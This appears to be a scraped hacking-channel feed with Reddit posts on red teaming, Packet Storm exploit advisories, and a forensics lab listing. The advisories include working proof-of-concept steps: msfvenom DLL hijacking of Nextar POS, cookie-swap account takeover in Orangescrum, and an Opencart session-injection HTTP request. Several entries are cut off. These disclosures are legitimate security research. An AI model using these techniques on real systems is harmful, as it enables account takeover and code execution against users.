hacking: security in practice
Learn Red Teaming & Malware Development for Advent Of Code

Hey, I wanted to improve my red teaming and malware development skills this december, so I came up with these challenges, which should be fairly bite sized challenges to get into red teaming & hacking for those that already have some pentesting/security experience:

https://github.com/fumamatar/Red-Team-Advent-of-Code

If anyone wants to join, feel free. Maybe this can motivate someone to get into this awesome sector of it security.

submitted by /u/sorhinco
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking with C#

Hello,

I have been creating hacks for some unity games, meaning that I am very proficient in C# but am struggling to move forward. Is C# used for hacking, and if so could you guys recommend some starter projects?

submitted by /u/David_8J
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nextar C472 POS DLL Hijacking

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Nextar C472 POS suffers from a dll hijacking vulnerability.

MD5 | 042ade5bb6a561b509ee91f0791e6f7a

Download
/*
Description:
A vulnerability exists in windows that allows other applications dynamic link libraries
to execute malicious code without the users consent, in the privelage context of the targeted application.

Exploit Title: Nextar C472 POS DLL Hijacking Exploit (nxmm.dll - mdmdregistration.dll)
Date: 28/11/2021
Author: Yehia Elghaly
Vendor: https://www.nextar.com/
Software: https://download.nextar.com/latest/setup_nex_en.exe
Version: Latest Nextar C472 POS
Tested on: Windows 7 Pro x86 - Windows 10 x64
Vulnerable extensions: .htm .html
*/

/*
Instructions:

1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Nex POS Hacked - YME" -f dll > nxmm.dll) or compile the code
2. Replace nxmm.dll - mdmdregistration.dll or shcore.dll in Nex directory C:\Nex with your newly dll
3. Launch NexAdmin.exe
4. PoP UP MessageBox!
*/
#include
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Polkit Authentication Bypass / Local Privilege Escalation

https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
This whitepaper provides an overview of a Polkit authentication bypass vulnerability that allows for local privilege escalation.

MD5 | 67a1833abd27b15afafc5374cc1c064f

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache HTTP Server 2.4.50 CVE-2021-42013 Exploitation

https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
This document aims at explaining some recent vulnerabilities in Apache HTTP Server that leads to attacks like path traversal and remote code execution.

MD5 | feda936f15f34e868bc723af3bf3cca5

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Orangescrum 1.8.0 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Orangescrum 1.8.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenStego Free Steganography Solution 0.8.2

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
OpenStego is a tool implemented in Java for generic steganography, with support for password-based encryption of the data. It supports plugins for various steganographic algorithms (currently, only Least Significant Bit algorithm is supported for images).

MD5 | 6b8c390a635620be33dc406cb60aee9a

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Orangescrum 1.8.0 Privilege Escalation

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
Orangescrum version 1.8.0 suffers from a privilege escalation vulnerability.

MD5 | 139af6c37d76cbc5a15aff2c6bc0fd81

Download
# Exploit Title: orangescrum 1.8.0 - Privilege escalation (Authenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Company: https://redteam.pl
# Vendor Homepage: https://www.orangescrum.org/
# Software Link: https://www.orangescrum.org/
# Version: 1.8.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Privilege escalation
# The user must be assigned to the project with the account he wants to take over
# The vulnerabilities in the application allow for:

* Taking over any account with which the project is assigned

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example

1. Go to the dashboard
2. Go to the page source view
3. Find in source "var PUSERS"
4. Copy "uniq_id" victim
5. Change cookie "USER_UNIQ" to "USER_UNIQ" victim from page source
6. After refreshing the page, you are logged in to the victim's account

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Opencart 3.0.3.8 Session Injection

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Opencart version 3.0.3.8 suffers from a session injection vulnerability.

MD5 | 2eab9852aa23a0a89593c8ca9ff38efb

Download
# Exploit Title: opencart 3.0.3.8 - Sessjion Injection
# Date: 28/11/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Company: https://redteam.pl
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/
# Version: 3.0.3.8
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Sessjion Fixation / injection

Session cookie "OCSESSID" is inproperly processed
Attacker can set any value cookie and server set this value
Becouse of that sesssion injection and session fixation vulnerability

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example

Modify cookie "OCSESSID" value:
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------

GET /opencart-3.0.3.8/index.php?route=product/category&path=20_26 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/opencart-3.0.3.8/
Cookie: language=en-gb; currency=USD; user_uniq_agent=9c7cba4c3dd1b2f7ace2dd877a58051a25561a365a6631f0; USERSUB_TYPE=0; CMP_CREATED=2021-11-28+10%3A52%3A11; COMP_UID=8b0e7877a94c648807ef19006c68edf9; DEFAULT_PAGE=mydashboard; LISTVIEW_TYPE=comfort; TASKGROUPBY=duedate; TASK_TYPE_IN_DASHBOARD=10; CURRENT_FILTER=cases; DASHBOARD_ORDER=1_1%3A%3A1%2C2%2C3%2C5%2C6%2C8%2C9; CAKEPHP=ommpvclncs2t37j8tsep486ig5; OCSESSID=zxcvzxcvzxcvzxcvzxcvzxcv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------------------------------------------------------------------------------------------------
Server set atttacker value:

Res:
-----------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Sun, 28 Nov 2021 15:16:06 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: PHP/8.0.11
Set-Cookie: OCSESSID=zxcvzxcvzxcvzxcvzxcvzxcv; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18944
[...]

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Digital-Forensics-Lab - Free Hands-On Digital Forensics Labs For Students And Faculty
http://www.kitploit.com/2021/11/digital-forensics-lab-free-hands-on.html

___________________________
@hacking_Attack
@Hacking_Video

Table of Contents (updating) Basic Computer Skills for Digital Forensics Number Systems (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/0_Number_Systems.pptx) PC Introduction (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/1_PC_Introduction.pptx) Windows (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/2_Win_command_line_tutorial.pptx)Command Line (https://www.kitploit.com/search/label/Command%20Line) Tutorial Linux Command Line Tutorial (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/3_Linux_command_line_tutorial.pptx) Advanced Linux Command Line Tutorial (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/4_Advanced_linux_command_line.pptx) Computer and Digital Forensics (updated on Oct. 2021) Introduction to Digital Forensics (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/5_Introduction_to_digital_forensics.pptx) Sleuth Kit Tutorial (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/6_Sleuth_Kit_Tutorial.pptx) USB Image Acquisition (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/7_USB_Image_Acquisition.pptx) Evidence Search Techniques (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/8_Evidence_search_techniques.pptx) Data Carving (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/9_Data_Carving.pptx) Steganography (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/10_Steganography.pptx) Forensic Report Template (https://github.com/frankwxu/digital-forensics-lab/blob/main/Basic_Computer_Skills_for_Forensics/Forensic_Report_Template.pdf) Computer Forensics Case Study Investigating P2P Data Leakage (https://github.com/frankwxu/digital-forensics-lab#Investigating-P2P-Data-Leakage) (added on June 2021) Investigating NIST Data Leakage (https://github.com/frankwxu/digital-forensics-lab#Investigating-NIST-Data-Leakage) Investigating Illegal Possession of Images (https://github.com/frankwxu/digital-forensics-lab#Investigating-Illegal-Possession-of-Images) Investigating Email Harassment (https://github.com/frankwxu/digital-forensics-lab#Investigating-Email-Harassment) Investigating Illegal File Transferring (Memory Forensics) (https://github.com/frankwxu/digital-forensics-lab#Investigating-illegal-File-Transferring) Investigating Hacking Case (https://github.com/frankwxu/digital-forensics-lab#Investigating-Hacking-Case) Mobile Forensics Case Study Investigating Android 10 (https://github.com/frankwxu/digital-forensics-lab#Investigating-Android-10) (added on Oct/24/2021) iOS 13 (to be released...) Forensic Intelligence Repository Email forensics (https://github.com/frankwxu/digital-forensics-lab/blob/main/STIX_for_digital_forensics/Email_Harassment) Illegal Possession of Images (https://github.com/frankwxu/digital-forensics-lab/blob/main/STIX_for_digital_forensics/Illegal_Possession_Images) Tool Installation Tools Used (https://github.com/frankwxu/digital-forensics-lab#Tools-Used) Installation PPTs (https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/Kali_Installation_2020.pptx) Installation Scripts (see commands as follows) # The following commands will install all tools needed for Data Leakage Case. We will upgrade the script to add more tools for other labs soon.

wget https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/tool-install-zsh.sh
chmod +x tool-install-zsh.sh
./tool-install-zsh.sh

___________________________
@hacking_Attack
@Hacking_Video